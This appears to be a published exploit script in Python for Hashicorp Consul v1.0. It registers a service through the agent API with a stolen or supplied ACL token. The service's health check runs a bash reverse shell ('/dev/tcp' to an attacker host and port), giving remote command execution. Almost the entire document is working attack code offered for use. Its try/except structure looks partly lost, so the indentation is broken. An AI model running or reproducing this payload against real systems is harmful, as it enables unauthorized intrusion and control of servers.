Hashicorp Consul v1.0 Exploit, Remote Command Execution (RCE)

# Exploit Title: Hashicorp Consul v1.0 - Remote Command Execution (RCE)
# Date: 26/10/2022
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage: https://www.consul.io/
# Description: Exploit for gain reverse shell on Remote Command Execution via API
# References: https://www.consul.io/api/agent/service.html
# Tested on: Ubuntu Server
# Software Link: https://github.com/hashicorp/consul

import requests, sys

if len(sys.argv) < 6:
    print(f"\n[\033[1;31m-\033[1;37m] Usage: python3 {sys.argv[0]} <rhost> <rport> <lhost> <lport> <acl_token>\n")

target = f"http://{sys.argv[1]}:{sys.argv[2]}/v1/agent/service/register"
headers = {"X-Consul-Token": f"{sys.argv[5]}"}
json = {"Address": "", "check": {"Args": ["/bin/bash", "-c", f"bash -i >& /dev/tcp/{sys.argv[3]}/{sys.argv[4]} 0>&1"], "interval": "10s", "Timeout": "864000s"}, "ID": "gato", "Name": "gato", "Port": 80}

    requests.put(target, headers=headers, json=json)
    print("\n[\033[1;32m+\033[1;37m] Request sent successfully, check your listener\n")
    print("\n[\033[1;31m-\033[1;37m] Something went wrong, check the connection and try again\n")

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